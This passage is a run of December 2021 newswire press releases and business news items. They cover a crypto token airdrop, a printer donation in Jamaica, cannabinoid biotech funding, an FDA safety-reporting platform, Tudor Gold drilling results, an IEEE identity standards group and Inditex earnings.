standardization of emerging active pharmaceutical ingredients for neurological applications, including psychedelic compounds and cannabinoids. The Company has research and development operations in North America and Europe, with an operational focus in Germany, and is currently focused on regulatory approval and commercialization of medical products for European markets. XPhyto Therapeutics Corp. Hugh Rogers, CEO and Director Investor Inquiries: Mr. Knox Henderson T: 604-551-2360 E: info@xphyto.com Forward looking statements This news release includes statements containing forward-looking information within the meaning of applicable Canadian securities law ("forward-looking statements"). Forward-looking statements are frequently characterized by words such as "develop", "plan", "continue", "expect", "project", "intend", "believe", "anticipate", "estimate", "potential", "propose" and other similar words, or statements that certain events or conditions "may" or "will" occur, and in this release include the statement regarding the Company's goal of building a successful diagnostic, drug delivery, and medical cannabis company. Forward-looking statements are only predictions based on the opinions and estimates of management at the date the statements are made and are subject to a variety of risks and uncertainties and other factors that could cause actual events or results to differ materially from those projected in the forward-looking statements, including: that the Company may not succeed in developing a commercial product; that the sale of products may not be a viable business; that the Company may be unable to scale its business; product liability risks; product regulatory risk; general economic conditions; adverse industry events; future legislative and regulatory developments; inability to access sufficient capital from internal and external sources, and/or inability to access sufficient capital on favourable terms; currency risks; competition; international risks; and other risks beyond the Company's control. The Company is under no obligation, and expressly disclaims any intention or obligation, to update or revise any forward-looking statements, whether as a result of new information, future events or otherwise, except as expressly required by applicable law. Neither the CSE nor its Market Regulator (as that term is defined in the policies of the CSE) accepts responsibility for the adequacy or accuracy of this news release. SOURCE: XPhyto Therapeutics Corp. View source version on accesswire.com:https://www.accesswire.com/677717/XPhyto-Epilepsy-Clinical-Trial-Planned-in-2022-with-Its-Proprietary-Fast-Dissolving-CBD-Oral-Strips ZURICH, Dec. 15, 2021 /PRNewswire/ -- Concordium, the layer 1 blockchain with an ID layer at the protocol level, has announced an airdrop of 4,500,000 of its CCD token, worth $2,5 million to all the users who have downloaded their wallet. Concordium CEO Lone Fnss Schrder explained the reasoning behind the airdrop: "This airdrop is part of Concordium's further plans of decentralization of the network and follows the successful initial airdrop that we created for our core original founding community." "By awarding tokens to our faithful community and new members we help users and developers with the first $CCD they need to interact on the Concordium network and in deploying smart contracts on Concordium" added Lars Seier Chaistensen, Concordium s founder and Chairman. In signing up for Concordium's AirDrop users must perform a few steps, such as assisting in validating some of the network's mechanisms. Users can gain access to a pool of $CDD to be evenly distributed amongst participating new members of our community. To participate in the airdrop, users just need to download Concordium's wallet until December 20th, 202111:59 PM CET. More news from Concordium Last week, Concordium announced the launch of the first blockchain focused Regulated (Reg.) Decentralized Finance Lab The Reg. DeFi Lab will establish a funding vehicle and allocate up to$100 M in $CCD in the form of grants and investments through its community endowment program. Concordium also announced that the Norwegian Grandmaster, reigning World Chess Champion Magnus Carlsen's Play Magnus Group has chosen Concordium as a partner for Chess NFT's. Concordium has also communicated that its cryptocurrency, the $CCD will soon be listed. About Concordium Concordium is a Public and Proof-of-Stake blockchain with a unique ID layer at the protocol. Concordium differs by offering fast and real finality with low transaction fees, stable in FIAT, expressed in CCD, its native token. By introducing built-in identity management at the protocol level and zero-knowledge proofs, Concordium eases compliance by replacing anonymity with perfect identifiable privacy. *Airdrop is not available to residents of the following countries: All US territories, Afghanistan, Belarus, Burundi, Canada, Central African Republic, China, Cuba, Democratic Republic of Congo, Guinea, Guinea-BissauIran, Iraq, Lebanon, Libya, Mali, Myanmar, North Korea, South Sudan, Somalia, Sudan, Syria, Ukraine (Crimea), Venezuela, Yemen, Zimbabwe. Contact: Maria Amalia Rojas +4542958375 Head of Communication mar@concordium.com This information was brought to you by Cision http://news.cision.com https://news.cision.com/concordium/r/concordium-airdrops--2-5-million-worth-of-tokens-towards-decentralization-of--ccd,c3472655 The following files are available for download: 100 EcoTank printers and 20 projectors will help schoolchildren across Jamaica HEMEL HEMPSTEAD, England, Dec. 15, 2021 /PRNewswire/ -- Epson has donated 100 EcoTank cartridge-free printers and 20 laser projectors to The Usain Bolt Foundation which aims to create opportunities through education and cultural development. The printers and projectors, valued at over 100K, were awarded at a special ceremony held at Usain Bolt's former primary school in Jamaica, Waldensia Primary. Waldensia is just one of several schools across Jamaica who will benefit from the new equipment. Others include Salt Marsh, Duanvale and Kinloss Primary Schools. The principal of Waldensia Primary School, Mrs. Nicola Ottey-Anderson, said of the donation: "Equipment such as this is the needed solution for all educational institutions across Jamaica because our printing needs are grave." Mrs Ottey-Anderson explained that thousands of students are still not able to connect in the virtual space, and teachers and several stakeholders have been having to go the extra mile to ensure that all children have access to learning materials." Usain Bolt, who earlier this year became Epson's European ambassador and the face of a major awareness building campaign for Epson's EcoTank printers, attended the official ceremony. While encouraging the students present at the ceremony to work hard, be dedicated, believe in themselves, and dream big in order to be the best they can be, he said: "It is always a pleasure to give back to Jamaica. It is a wonderful feeling to see the children getting a better opportunity than I had because I know what a lot of them are going through and the hardship they have experienced throughout this pandemic. I believe that children have a right to the best start in life. With access to the best equipment possible, primary schools throughout Jamaica will benefit greatly. Epson shares my vision of making education accessible to everyone and, together, we are helping kids across Jamaica to bring dreams of sustainable, healthier, and happier futures vividly to life." Epson shares Usain Bolt's ambition to help drive positive change within the community and to help children receive the best education possible. Maria Eagling, Director for European marketing at Epson said: "We are pleased to be working with The Usain Bolt Foundation to help children in Jamaica as much as we can. Hopefully the printers and projectors will help them dream big and give them a head start in making those dreams a reality." The ceremony was also attended by Ms Karlene Segree from The Ministry of Education, Usain Bolt Foundation Chairman Rev. Winsome Wilkins, Nugent Walker-Usain Bolt's Manager and Jennifer Bolt-Usain Bolt's mother. About Epson Epson is a global technology leader dedicated to co-creating sustainability and enriching communities by leveraging its efficient, compact, and precision technologies and digital technologies to connect people, things, and information. The company is focused on solving societal issues through innovations in home and office printing, commercial and industrial printing, manufacturing, visual and lifestyle. Epson will become carbon negative and eliminate use of exhaustible underground resources such as oil and metal by 2050. Led by the Japan-based Seiko Epson Corporation, the worldwide Epson Group generates annual sales of around JPY 1 trillion. global.epson.com/ Photo - https://mma.prnewswire.com/media/1707572/EPSON_Usain_Bolt_Foundation.jpg COPENHAGEN, Denmark, Dec. 15, 2021 Tetra Pharm Technologies, a Danish Biotech company, secured 2M in its first round of funding led by Leafy Tunnel, a cannabis and psychedelics specialist European VC fund and other notable investors including Enexis, a Stockholm-based cannabis investment company. Tetra Pharm Technologies, with production facilities in Copenhagen, develops and commercializes cannabinoid-based medicines to treat pain. "We exist to improve the lives of patients and their families, by formulating efficient drugs, with a low side-effect profile, at a fair price," Co-Founder and CEO Martin Rose stated. With this investment, the company said it hopes to initiate clinical trials with a new drug candidate whilst also expanding its operations in Europe. "We strongly believe that Tetra Pharm is a hidden gem in the European cannabis space, located in the Medicon Valley, one of the leading life science clusters in Europe. The founders have unparallel pharmaceutical expertise to deliver on their vision to build a biotech leader in cannabinoid formulations. The Leafy Tunnel team is aligned with the founders' vision, and we look forward to seeing the company grow in the coming years," Nikolay Tretiyakov and Bek Muslimov, Founding Partners at Leafy Tunnel, stated. Tetra Pharm Technologies already closed several distribution deals across their main markets in Europe, but there a many more on their way, said Mr Rose. This is a perfect time for the company to grow with Prohibition Partners stating that the European market for Cannabinoid-based treatment is expected to reach 3.2B by 2025, with an exponential growth the coming years in a recent report. "Developing and releasing therapeutics to support the growing demand for cannabinoid-based medicines is not only an opportunity for our growth, it's also an opportunity for the millions of patients hoping to receive better drugs at a lower cost in the future," Tetra Pharm Technologies Co-Founder, Jesper Breum said. The company is expected to complete an expansion project in 2022, which will increase the company's product output by 1000%. "It's going to be an exciting year, with new facilities, clinical trials, and new products on the market. We are therefore really excited and grateful for the support from Leafy Tunnel and Enexis,"Martin Rose stated. Photo - https://mma.prnewswire.com/media/1708310/Tetra_Pharm_Technologies_1.jpg Logo - https://mma.prnewswire.com/media/1708311/Tetra_Pharm_Technologies_Logo.jpg Contact: Martin Caspersen, cap@tetrapharm.eu, +45 61224241 ArisGlobal's industry leading pharmacovigilance platform automates the intake, triage, and processing of over three million safety reports per year, improving regulatory processes and data quality. MIAMI, Dec. 15, 2021 /PRNewswire/ -- ArisGlobal, the leading provider of life sciences software that automates core drug development with its end-to-end drug development technology platform LifeSphere , today announced the go-live of the U.S. Food and Drug Administration Adverse Event Reporting System (FAERS II), an electronic safety reporting platform , powered by LifeSphere MultiVigilance. The successful go-live marks a key milestone in the FDA's Technology Modernization Action Plan, and the culmination of its efforts to adopt a cutting-edge platform to automate the intake and processing of adverse event reports. Designated a modernization priority by the United States Department of Health and Human Services, FAERS II is a mission critical platform for the FDA's Centers of Drug and Biologic Evaluation and Research (CDER/CBER), providing a modern, all-in-one solution for collection, triage and processing of adverse event reports. With safety case volumes growing amid a global public health crisis, the platform will leverage the flagship safety product of ArisGlobal's LifeSphere R&D technology suite, LifeSphere MultiVigilance , to increase efficiency and improve data quality. A proven and scalable solution already adopted by many of the largest global biopharmaceutical companies, LifeSphere MultiVigilance is the only safety system in production that uses AI and machine learning to automate the end-to-end processing of adverse event reports in the industry for market authorization holders. ArisGlobal has been a trusted technology provider for the FDA since 2015, most recently assisting with the migration and mapping of over 3 terabytes of data, including 1.1 terabytes of safety data, 23 million case reports , and 76 million documents. Moving forward, all ICSRs (Individual Case Safety Reports) received by the FDA will be processed using LifeSphere MultiVigilance and the system is expected to handle more than 3 million safety data transactions per year. "We would like to congratulate the FDA on achieving a key milestone in their digital transformation journey," said Sankesh Abbhi, President & CEO of ArisGlobal. "We are grateful for the opportunity to help bring the FAERS II project to life with the successful implementation of LifeSphere MultiVigilance. Our partnership has yielded a truly innovative approach to safety case management, which we hope enables the FDA to achieve its goal of making safety data accessible and transparent." To learn more about ArisGlobal please visit, www.arisglobal.com . About ArisGlobal ArisGlobal transforms the way today's most successful Life Sciences companies develop breakthroughs and bring new products to market. Their end-to-end drug development technology platform, LifeSphere, integrates our proprietary cognitive computing engine to automate all core functions of the drug development lifecycle. Designed with deep industry expertise and a long-term perspective that spans more than 30 years, LifeSphere is a unified platform that boosts efficiency, ensures compliance, delivers actionable insights, and lowers total cost of ownership through multi-tenant SaaS architecture. In 2021, Frost & Sullivan recognized ArisGlobal with the Customer Value Leadership Award for Clinical Development and Pharmacovigilance Software. Headquartered in the United States, ArisGlobal has regional offices in Europe, India, Japan and China. For more updates, follow ArisGlobal on LinkedIn and Twitter . Additional Information Connect with ArisGlobal on LinkedIn: linkedin.com/company/aris-global Follow @Aris_Global on Twitter: twitter.com/aris_global Logo - https://mma.prnewswire.com/media/1510670/ArisGlobal_Logo.jpg LONDON, Dec. 15, 2021 /PRNewswire/ -- Harvey Nash Group, the leading global provider of talent and technology solutions, today announces that they will be moving their headquarters to a new contemporary office in London. The organisation will be moving to LDN:W, 3 Noble Street EC2V 7EE from Tuesday 4thJanuary 2022, after spending a decade at 110 Bishopsgate. LDN:W will play a major role in Harvey Nash Group's vision for a flexible, collaborative work environment. The new space will provide digitally enabled meeting rooms, an app-based desk booking system to support hybrid working, and a work environment designed for collaboration and innovation, from shared meeting and break-out areas to a roof top terrace. The new office move reinforces the investment in people, and follows recognition for its Harvey Nash Technology Recruitment business as the UK's leading large employer in the recruitment sector. The move will coincide with a major overhaul in the firm's technology, from laptops and iPhones to high-speed Wi-Fi and cloud based technology, allowing staff to have the flexibility to work anytime, anywhere. Bev White, Chief Executive Officer of the Harvey Nash Group, said "We're really looking forward to this next stage of Harvey Nash Group's evolution in our new home. We are changing the way we work, and it was key that we found an office where we can be both flexible and collaborative in a modern, digitally enabled environment. The new office is a major investment in our people, helping them to become even more successful and, just as importantly, happy in their careers at Harvey Nash Group." Full release here Media Contact: Michelle Thomas Harvey Nash Group michelle.thomas@harveynash.com +44 (0) 20 7333 2677 About Harvey Nash Group Harvey Nash Group are the leading global provider of talent and technology solutions. We're equipped with a unique network, that realises the potential where people and technology meet. For over three decades we've been helping clients solve broad and complex problems, building and scaling their technology and digital capability. www.harveynashgroup.com Follow us on LinkedIn at https://www.linkedin.com/company/harvey-nash-group/ Logo - https://mma.prnewswire.com/media/1680703/Harvey_Nash_Group_Logo.jpg Lattice partners with leading People and HR technology and professional services providers including Humaans and Personio as it continues to grow its presence in Europe. LONDON, Dec. 15, 2021 /PRNewswire/ -- Lattice, the leading people management platform for businesses with people-first cultures, today announced it has added over 100 new partners to the Lattice network. Of these new additions, over 30 partners are located in Europe, where the focus on people strategy is expected to continuously grow over the next few years. New Lattice partners in Europe include Humaans, Personio, CharlieHR, The People Collective, There Be Giants, Talent Tactics, Equitas, Deel, and Oyster, among others. "In a profoundly transformed work environment, companies are looking to better understand how to support and grow their people," said Hugues Vincent, Head of Product Partnerships at Personio. "That's why we're excited to partner with an established company like Lattice. Lattice's Performance, Engagement, and Growth management tool enhances Personio's all-in-one HR solution and further helps small and medium-sized companies across Europe to drive their businesses forward." "We're excited to continue to build a strong network of partners across Europe," said Lester Lee, Global Director of Partnerships at Lattice. "The combination of our partners' deep domain expertise and Lattice's people strategy platform and resource ecosystem will help organisations in multiple sectors all over Europe better invest in their people." "Lattice is the perfect companion to Humaans, and we're delighted to be building more together. Humaans provide the core layer of infrastructure for companies to scale and automate their HR and People technology, and we love seeing our customers adopting Lattice to drive a people-first strategy," said Giovanni Luperti, CEO at Humaans. In September of this year, Lattice announced its expansion to Europe with a dedicated focus on the region highlighted by a new corporate office in London. The company plans to hire 50-70 local team members across all go-to-market and support functions, including several executive roles, within the next year. About Lattice Lattice is the people management platform that enables leaders to develop engaged, high-performing teams. By combining continuous performance management, employee engagement, development, and growth in one solution, HR and People teams get powerful, real-time analytics that lead to actionable insights turning managers into leaders, employees into high-performers, and companies into the best places to work. San Francisco-based Lattice serves over 3,550 customers including Reddit, Monzo, and Tide, and was ranked on the Inc. 500 Fastest Growing Private Companies list two years in a row. Learn more about Lattice by visiting: www.lattice.com. Logo - https://mma.prnewswire.com/media/745587/lattice_logo_full_color__33_Logo.jpg Vancouver, British Columbia--(Newsfile Corp. - December 15, 2021) - Tudor Gold Corp. (TSXV: TUD) (FSE: TUC) (the "Company" or "Tudor Gold") is pleased to present the most recent drill results from the 30,108 meter, 2021 resource expansion and definition drilling program for the Goldstorm Deposit at their flagship property, Treaty Creek (the "Project"), located within the Golden Triangle of Northwest British Columbia. Included in this press release are the results of four diamond drill holes that were completed at the Goldstorm Deposit along two sections (112+00 NE and 115+00 NE), 300 metres apart. These results demonstrate the excellent continuity of precious and base-metal mineralization that has been measured throughout the Goldstorm deposit and provides increased drill hole density for future resource determinations. The Copper Belle-Goldstorm Deposit (CB-GS) currently hosts a 1*NI 43-101 compliant Measured and Indicated Mineral Resource of 19.4 million ounces of AuEq grading 0.74 g/t AuEq and an Inferred Resource of 7.9 million ounces of AuEq grading 0.79 g/t AuEq (see Tudor Gold press release dated March 9, 2021). Goldstorm Drilling Highlights Include: SECTION 115+00 NE GS-21-122 provided closer hole spacing between previous intercepts of the deep, northwest extension of the CS600 domain. The hole averaged 0.65 g/t AuEq over 1,035.0 m, which included both the 300H and CS600 domains. provided closer hole spacing between previous intercepts of the deep, northwest extension of the CS600 domain. The hole averaged which included both the 300H and CS600 domains. GS-21-122 encountered consistent gold and copper mineralization within the CS600 domain that returned 1.22 g/t AuEq (0.65 g/t Au and 0.45 % Cu) over 355.15 m , including an enriched portion that averaged 1.45 g/t AuEq (0.79 g/t Au and 0.53 % Cu) over 247.5 m. encountered consistent gold and copper mineralization within the CS600 domain that returned , including an enriched portion that averaged GS-21-122 ended at 1375 m in gold mineralization, which may have been the start of the DS5 domain. The drill had reached its' maximum depth capacity. ended at 1375 m in gold mineralization, which may have been the start of the DS5 domain. The drill had reached its' maximum depth capacity. GS-21-126, stepping out to the southeast, was stopped before the target due to drilling issues. This hole will be re-drilled in 2022. SECTION 112+00 NE GS-21-123 was designed to provide infill resource definition for the center of the CS600 domain. Unfortunately, this hole was not completed to the target depth and ended in mineralization. A portion of the CS600 domain was intersected, which averaged 1.22 g/t AuEq (0.61 g/t Au and 0.45 % Cu) over 38.8 m at the end of the hole. was designed to provide infill resource definition for the center of the CS600 domain. Unfortunately, this hole was not completed to the target depth and ended in mineralization. A portion of the CS600 domain was intersected, which at the end of the hole. The upper portion of GS-21-123 intersected consistent gold mineralization within the 300H domain with 0.90 g/t AuEq over 201.0 m that contained an enriched zone that graded 1.31 g/t AuEq over 49.9 m near the center of 300H domain. intersected consistent gold mineralization within the 300H domain with that contained an enriched zone that graded near the center of 300H domain. GS-21-124 cut an intercept of the 300H domain that infilled and defined the deposit to the northwest just beneath the TTF1 thrust fault. This hole averaged 0.75 g/t AuEq over 1,089.0 m . cut an intercept of the 300H domain that infilled and defined the deposit to the northwest just beneath the TTF1 thrust fault. This hole averaged . A Near-surface, enriched section of 300H was encountered in GS-21-124, grading 1.50 g/t AuEq over 126.0 m, within a 476.1 m interval that averaged 1.09 g/t AuEq. Tudor Gold's Vice President of Exploration and Project Development, Ken Konkin, P.Geo., states: "We are pleased to report that the resource definition-drilling of the Goldstorm Deposit was a great success. In addition to expanding the limits of the precious and base-metal mineralization to the northwest, north and northeast, we were able to infill gaps in the resource model with carefully placed drill holes that were designed to add gold-equivalent ounces to the measured and drill indicated categories. In addition, these results demonstrate the strong consistency of the gold-copper mineralization between holes GS-21-122 and GS-21-124 that are approximately 500 meters apart; the overall results are very comparable: GS-21-122 averaged 0.65 g/t AuEq over 1,035 meters while GS-21-124 averaged 0.75 g/t AuEq over 1,089 meters. We expect to complete the final sections for the last four drill holes and combine this with our final surface sampling results for our next press release." The complete list of these reported composited drilling results for Goldstorm, as well as the drill hole data, including hole location, elevation, depth, dip and azimuth, are provided in Table 1 and Table 2, respectively. Please click on the following link to view: Plan Map and Cross Sections for the drilling and surface samples reported in this news release. Table 1: Drilling Results Goldstorm in Press Release December 15, 2021 Section Hole From (m) To (m) Interval (m) Au (g/t) Ag (g/t) Cu (ppm) AuEQ (g/t) 115+00 NE GS-21-122 193.00 1228.00 1035.00 0.42 2.39 1687 0.65 Including (300H) 193.00 346.00 153.00 0.61 3.37 111 0.66 And including (CS600) 872.85 1228.00 355.15 0.65 3.69 4453 1.22 With 916.00 1163.50 247.50 0.79 3.10 5282 1.45 115+00 NE GS-21-126(1) NSV 112+00 NE GS-21-123(2) 135.50 878.00 742.50 0.46 2.16 500 0.54 Including (300H) 270.50 471.50 201.00 0.84 2.75 170 0.90 With 271.60 321.50 49.90 1.25 3.39 157 1.31 And (CS600) 839.20 878.00 38.80 0.61 7.51 4461 1.22 112+00 NE GS-21-124(3) 33.00 1122.00 1089.00 0.69 3.18 195 0.75 Including (300H) 33.00 509.10 476.10 1.02 3.68 225 1.09 With 378.00 504.00 126.00 1.42 3.62 311 1.50 (1) Hole ended prior to reaching target mineralization; no significant values (NSV). (2) Hole ended in mineralization, shut down before reaching target depth due weather conditions. (3) Hole ended in mineralization, shut down due to drilling issues. All assay values are uncut and intervals reflect drilled intercept lengths. HQ and NQ2 diameter core samples were sawn in half and typically sampled at standard 1.5m intervals The following metal prices were used to calculate the Au Eq metal content: Gold $1625/oz, Ag: $19/oz, Cu: $2.8/lb. Calculations used the formula Au Eq g/t = (Au g/t) + (Ag g/t x 0.01169) + (Cu% x 1.1815). All metals are reported in USD and calculations do not consider metal recoveries. True widths have not been determined as the mineralized body remains open in all directions. Further drilling is required to determine the mineralized body orientation and true widths. Table 2: Drill data for holes in Press Release December 15, 2021 Section Hole ID UTM E NAD 83 UTM N NAD 83 Elevation (m) Azi (o) Dip (o) Depth (m) 115+00 NE GS-21-122 428804.9 6273270.2 1326.1 285 -62 1375 115+00 NE GS-21-126 429104.7 6273040.3 1226.8 295 -85 318.7 112+00 NE GS-21-123 428658.3 6273196.9 1369.5 220 -75 878 112+00 NE GS-21-124 428548.3 6272852.6 1260.0 310 -45 1122 The Company wishes to announce, that under section 182(4) of the Business Corporations Act, the Registrar of Companies has allowed Tudor to extend the time within which they are required to hold their AGM for the year 2021 by six (6) months from December 31, 2021 to June 30, 2022. Qualified Person The Qualified Person for this news release for the purposes of National Instrument 43-101 is the Company's Vice President of Exploration and Project Development, Ken Konkin, P.Geo. He has read and approved the scientific and technical information that forms the basis for the disclosure contained in this news release. QA/QC Diamond drill core samples were prepared at MSA Labs' Preparation Laboratory in Terrace, BC and assayed at MSA Labs' Geochemical Laboratory in Langley, BC. Analytical accuracy and precision are monitored by the submission of blanks, certified standards and duplicate samples inserted at regular intervals into the sample stream by Tudor Gold personnel. MSA Laboratories quality system complies with the requirements for the International Standards ISO 17025 and ISO 9001. MSA Labs is independent of the Company. About Tudor Gold TUDOR GOLD Corp. is a precious and base metals exploration and development company with properties in British Columbia's Golden Triangle (Canada), an area that hosts producing and past-producing mines and several large deposits that are approaching potential development. The 17,913 hectare Treaty Creek project (in which TUDOR GOLD has a 60% interest) borders Seabridge Gold Inc.'s KSM property to the southwest and borders Pretium Resources Inc.'s Brucejack property to the southeast. In April 2021 Tudor published their 43-101 technical report, "Technical Report and Initial Mineral Resource Estimate of the Treaty Creek Gold Property, Skeena Mining Division, British Columbia Canada" dated March 1, 2021 on the Company's Sedar profile. The Company also has a 100% interest in the Crown project and a 100% interest in the Eskay North project, all located in the Golden Triangle area. ON BEHALF OF THE BOARD OF DIRECTORS OF TUDOR GOLD CORP. "Walter Storm" Walter Storm President and Chief Executive Officer For further information, please visit the Company's website at www.tudor-gold.com or contact: Chris Curran Head of Corporate Development and Communications Phone: (604) 559 8092 E-Mail: chris.curran@tudor-gold.com or Carsten Ringler Head of Investor Relations and Communications Phone: +49 151 55362000 E-Mail: carsten.ringler@tudor-gold.com Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. Cautionary Statements regarding Forward-Looking Information This news release contains "forward-looking information" within the meaning of applicable Canadian securities legislation. "Forward-looking information" includes, but is not limited to, statements with respect to the activities, events or developments that the Company expects or anticipates will or may occur in the future, including the completion and anticipated results of planned exploration activities. Generally, but not always, forward-looking information and statements can be identified by the use of words such as "plans", "expects", "is expected", "budget", "scheduled", "estimates", "forecasts", "intends", "anticipates", or "believes" or the negative connotation thereof or variations of such words and phrases or state that certain actions, events or results "may", "could", "would", "might" or "will be taken", "occur" or "be achieved" or the negative connation thereof. Such forward-looking information and statements are based on numerous assumptions, including among others, that the Company's planned exploration activities will be completed in a timely manner. Although the assumptions made by the Company in providing forward-looking information or making forward-looking statements are considered reasonable by management at the time, there can be no assurance that such assumptions will prove to be accurate. There can be no assurance that such statements will prove to be accurate and actual results and future events could differ materially from those anticipated in such statements. Important factors that could cause actual results to differ materially from the Company's plans or expectations include risks relating to the actual results of current exploration activities, fluctuating gold prices, possibility of equipment breakdowns and delays, exploration cost overruns, availability of capital and financing, general economic, market or business conditions, regulatory changes, timeliness of government or regulatory approvals and other risks detailed herein and from time to time in the filings made by the Company with securities regulators. Although the Company has attempted to identify important factors that could cause actual results to differ materially from those contained in the forward-looking information or implied by forward-looking information, there may be other factors that cause results not to be as anticipated, estimated or intended. There can be no assurance that forward-looking information and statements will prove to be accurate, as actual results and future events could differ materially from those anticipated, estimated or intended. Accordingly, readers should not place undue reliance on forward-looking statements or information. The Company expressly disclaims any intention or obligation to update or revise any forward-looking statements whether as a result of new information, future events or otherwise except as otherwise required by applicable securities legislation. Goldstorm Section Areas - Plan View To view an enhanced version of this map, please visit: https://orders.newsfilecorp.com/files/4494/107653_tudorfigure1.jpg Section 115+00 NE Viewing Northeast To view an enhanced version of this map, please visit: https://orders.newsfilecorp.com/files/4494/107653_tudorfigure2.jpg Section 112+00 NE Viewing Northeast To view an enhanced version of this map, please visit: https://orders.newsfilecorp.com/files/4494/107653_tudorfigure3.jpg 1 * In April 2021 Tudor published a NI 43-101 technical report, "Technical Report and Initial Mineral Resource Estimate of the Treaty Creek Gold Property, Skeena Mining Division, British Columbia Canada" dated March 1, 2021 on the Company's Sedar profile. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/107653 MENLO PARK, Calif., Dec. 15, 2021 /PRNewswire/ -- Researchers and scientists from Lockheed Martin, Ericsson, Lenovo, Huawei, Bosch, IoTeX, and China Academy of Information and Communications Technology are developing the global standards for the blockchain decentralized identities, announced IEEE Chair of the Identity of Things Working Group , Dr. Xinxin Fan. The Institute of Electrical and Electronics Engineers' ( IEEE ) newly initiated group is developing a universal specification for blockchain-based decentralized identity (DID) for IoT devices that Dr. Fan - IoTeX Founding Member and Head of Cryptography- began in 2019 alongside the World Wide Web Consortium ( W3C ). Blockchain identity standardization is critical to ensure interoperability and communications between Internet of Things (IoT) devices, people, and businesses. Eliminating technical barriers and enabling heterogeneous entities to communicate with global standards make possible global trade, economic growth, and local communities worldwide to prosper, Led by Dr. Fan, the working group is committed to ensuring that by defining a global DID standard for humans and machines to interoperate, the full $12.6 trillion potential value of the IoT that McKinsey predicts by 2030 can be unlocked globally. Specifically, the Identity of Things standard defines a decentralized identity and access management (IAM) framework for the IoT to manage the lifecycle of IoT devices as well as IoT security services such as device authentication, data authorization, and access controls. Interoperability is a crucial component of the working group's role in building standards that unleash the full power of the blockchain innovation ecosystem," said Dr. Ramesh Ramadoss, the co-chair of the IEEE Blockchain Initiative . Ramadoss explained interoperability using WiFi as an example. The IEEE set the global standard for WiFi. Thanks to that, people can travel anywhere worldwide and connect to the internet with only their username and password. Dr. Ramadoss also used electrical sockets to explain why global standards are needed. People face issues when traveling to other countries with electronic or electrical devices that require a socket adapter. In the case of electrical sockets, there are multiple regional standards worldwide but no global standard. "Standards help with the growth and adoption of new technologies by lowering the technical barriers," Ramadoss said. "In the blockchain space, lack of interoperability is a technical barrier. There are many blockchains and the way devices are connected to blockchains to enable decentralized machine-to-machine communications should follow a universal standard." The Identity of Things standard that the working group is developing aims to ensure that all people and machines can communicate frictionlessly no matter where they are. They will make it possible for billions of machines worldwide to communicate no matter who manufactured them or where. With countless industries adopting Internet-connected devices, the need for devices to exchange intelligence and value is paramount to a trusted and automated future. The world is already seeing smart cities and highways built globally. In the not-so-distant future, machines will be the primary workforce. The IEEE Identity of Things standard will make sure vehicles can seamlessly communicate with humans, with toll booths, parking meters, gasoline stations, and e-charging pods. And to enable people to order self-driving taxis, punctually pick them up, and drop them off where indicated, making payment digitally. These are just a few use cases, but the possibilities are endless. Dr. Fan explained that with globally standardized DIDs, people can contribute globally to society with valuable real-time climate, geography, traffic, and other data. "Despite technological innovations, today, even humans face communication barriers due to language barriers," he said. "This issue is compounded when we look at machines manufactured by different companies and deployed in different geographical regions." "That is what the working group I preside over has been working on since April, and today I am pleased to say we have formed a fantastic initial class of forward-thinking enterprises to drive this standard forward and progressed significantly although many challenges still lie ahead," Dr. Fan added. "By co-creating standards with industry experts, IoTeX is committed to innovation in the blockchain space via our real-world products, such as Ucam and Pebble Tracker. We want to help people securely own their data, earn by monetizing it and the value their smart devices generate, and make the world a better place," said Dr. Fan. IoTeX has embraced MachineFi, or the decentralized machine economy. It will enable people to connect IoT devices and machines to the blockchain with DIDs. They'll be able to monetize their data and the value their devices generate and improve their lives and their environment. One way is by receiving rewards for planting trees, using eco-friendly transportation, consuming sustainable energy, driving safely, and exercising and sharing that data. That will benefit others without compromising their privacy or handing control of their data and smart devices to Big Tech. MADRID (dpa-AFX) - Industria de Diseno Textil SA or Inditex Wednesday reported significantly higher earnings in its nine-month period with strong sales growth. The Spanish fashion retailer also said its standalone third-quarter net profit, EBITDA and revenue reached all-time record levels. In the morning trading in Spain, Inditex shares were losing around 3 percent. Looking ahead for fiscal 2021, the company now projects a gross margin of around 57.5 percent, plus or minus 50 basis points. In 2020, the gross margin reached 55.8 percent on a reported basis, and 57.6 percent in constant currency. Inditex also expects online sales to account for more than 25 percent of total revenue in the year. Regarding the current trading, the company noted that store and online sales in local currencies between November 1 and December 10 increased 33 percent year-on-year and 10 percent compared to the same period in 2019. Chief executive officer, Oscar Garcia Maceiras, stressed the importance of these results at this time, as they 'confirm the significance of extending, deepening and developing our integrated business model, the company's key differentiating characteristic'. In the third quarter, Inditex said its revenue, in local currencies, registered growth of 21 percent from last year and 10 percent when compared with the third quarter in 2019. In-store sales continued to strengthen throughout the third quarter. In local currency terms, instore revenue topped that of 3Q19, despite 11 percent fewer stores. In the first nine months of fiscal 2021, the company's net profit attributable to the controlling company surged 273 percent to 2.5 billion euros from last year's 671 million euros. Earnings per share were 0.803 euros, up from 0.215 euros a year ago. EBIT amounted to 3.3 billion euros, up 248 percent year-over-year, and EBITDA totaled 5.43 billion euros, up 63 percent from last year. EBITDA margin was 28.1 percent, up from 23.7 percent a year ago. The gross margin reached 59 percent, higher than 58 percent a year ago. Revenue in the first nine months amounted to 19.33 billion euros, 37 percent higher than last year's 14.09 billion euros. Online sales in local currencies registered year-on-year growth of 28 percent and growth of 124 percent against the same period in pre-pandemic 2019. As of the October close, the company had 6,657 stores, having opened 179 new stores in 39 markets during the nine months period. In Spain, Inditex shares were trading at 27.98 euros, down 3.32 percent. Copyright RTT News/dpa-AFX INDITEX-Aktie komplett kostenlos handeln - auf Smartbroker.de TBD Media Group's Vision 2045 Summit in Edinburgh, that ran alongside Glasgow'sCOP26, successfully served as a focal point for strategizing collaborative action towards climate preservation. LONDON, Dec. 15, 2021 /PRNewswire/ -- TBD Media Group's Vision 2045 Summit successfully served as a focal point for strategizing collaborative action towards climate preservation, from the 8-10th of November 2021. By creating the conditions for fruitful conversation around securing environmental longevity, TBD helped facilitate the cooperative efforts of tomorrow. Dialogues were centred around the 17 UN Sustainable Development Goals, with each discussion aligned to an individual goal and assigned moderators, the award-winning News Anchor Andrew Wilson and Al Jazeera's Julie MacDonald. Topics including Equity and Inclusivity, Climate Change and Carbon Neutral Economy were raised to create an effective cross-pollination of ideas between organisations. Microsoft, Hilton Worldwide, Boeing, Siemens Energy and Parfum Dior were among the renowned and influential companies that 140 business delegates represented in the discussions. The full list of participating companies is available on the Vision 2045 Summit Website . TBD spearheaded the collaborative efforts to protect the 